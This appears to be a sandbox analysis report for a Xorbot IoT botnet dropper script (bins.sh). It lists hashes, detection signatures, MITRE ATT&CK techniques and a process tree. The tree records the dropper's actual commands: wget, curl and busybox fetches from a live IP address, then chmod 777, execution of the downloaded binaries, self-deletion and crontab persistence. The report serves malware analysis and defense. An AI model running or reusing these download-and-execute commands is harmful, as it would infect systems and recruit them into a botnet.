xorbot | eece9cdbc73eb1580c67ece7a9ef15da0bb6d087746ea7d602b6fa928f5dedd5

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240729-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04/01/2025, 13:22

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General

Target

bins.sh
Size

10KB
MD5

25a7814863dd354a01cfd6baf43b95ff
SHA1

97db7e55d8e39803fa9534204594a595529eca73
SHA256

eece9cdbc73eb1580c67ece7a9ef15da0bb6d087746ea7d602b6fa928f5dedd5
SHA512

63140aaa26d29ae3adae546c6211b87e91228aeef409b69246f74ef47f6f8a887a60cc1690f66f652b0fcc978fa2a387f5b21a813732bfc0eccbb636661aa4bc
SSDEEP

192:/919DjWKEU3nHNB1nm+bNmvWh619DjWKrB1nm+1a:/ZEU3nHZkvWh6M

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2111) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1560	chmod
1567	chmod
1574	chmod
1581	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW	1561	crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
/tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq	1568	oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
/tmp/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw	1575	nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
/tmp/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm	1582	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm

Renames itself 1 IoCs

pid	Process
1583	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.vC7Gis	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/29/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/174/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/460/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1014/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1546/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1591/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1616/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1749/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1766/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/647/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1608/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1170/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1188/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1193/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1685/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1705/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1751/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1776/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/80/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/169/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/8/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/79/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/415/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/417/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/433/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1632/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1743/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/650/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1176/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1552/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1618/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1654/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1720/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1758/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/615/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1613/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1683/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1687/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1728/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1729/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/178/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1548/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1598/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1599/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1662/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1718/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/23/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/36/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/461/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1629/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1691/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1709/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1711/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/137/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/176/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/464/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/613/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/689/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1244/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1592/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1695/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1750/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/1762/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
File opened for reading	/proc/30/cmdline	NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq	curl
File opened for modification	/tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq	busybox
File opened for modification	/tmp/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw	curl
File opened for modification	/tmp/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm	wget
File opened for modification	/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW	curl
File opened for modification	/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW	busybox
File opened for modification	/tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq	wget
File opened for modification	/tmp/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm	curl
File opened for modification	/tmp/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm	busybox
File opened for modification	/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW	wget
File opened for modification	/tmp/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw	wget
File opened for modification	/tmp/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1552
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1553
- /usr/bin/wget
  wget http://66.63.187.225/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - Writes file to tmp directory
  PID:1554
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/chmod
  chmod 777 crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  ./crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  - Executes dropped EXE
  PID:1561
- /bin/rm
  rm crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
  2⤵
  PID:1563
- /usr/bin/wget
  wget http://66.63.187.225/bins/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  2⤵
  - Writes file to tmp directory
  PID:1564
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  2⤵
  - Writes file to tmp directory
  PID:1565
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/chmod
  chmod 777 oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  ./oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  2⤵
  - Executes dropped EXE
  PID:1568
- /bin/rm
  rm oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
  2⤵
  PID:1570
- /usr/bin/wget
  wget http://66.63.187.225/bins/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
  2⤵
  - Writes file to tmp directory
  PID:1571
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
  2⤵
  - Writes file to tmp directory
  PID:1572
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
  2⤵
  - Writes file to tmp directory
  PID:1573
- /bin/chmod
  chmod 777 nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
  2⤵
  - File and Directory Permissions Modification
  PID:1574
- /tmp/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
  ./nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
  2⤵
  - Executes dropped EXE
  PID:1575
- /bin/rm
  rm nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
  2⤵
  PID:1577
- /usr/bin/wget
  wget http://66.63.187.225/bins/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
  2⤵
  - Writes file to tmp directory
  PID:1578
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
  2⤵
  - Writes file to tmp directory
  PID:1579
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
  2⤵
  - Writes file to tmp directory
  PID:1580
- /bin/chmod
  chmod 777 NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
  ./NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1582
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1584
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1585
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1586
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1587
- /bin/rm
  rm NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
  2⤵
  PID:1589
- /usr/bin/wget
  wget http://66.63.187.225/bins/cC2GQDEG43eSnGF7850InqXO7G7etnVSgX
  2⤵
  PID:1592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/var/spool/cron/crontabs/tmp.vC7Gis

Filesize
210B

MD5
75bc7484caaea1e837ec21c1ab874d5e

SHA1
8d94b9fd18dc4fc0a07c21e2a62634add70930e6

SHA256
cfe684d084b0502c94a040c2b305031506344d509360666b85280ce743a6f54d

SHA512
77f889fdf863e613081950b002b10a1c18c5dedb3b97dbef08632b7b0f5f42fe690284b6a481d5787cd34cdfd4b01d83012f3f557613ea5eeab7835eedb9e769

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads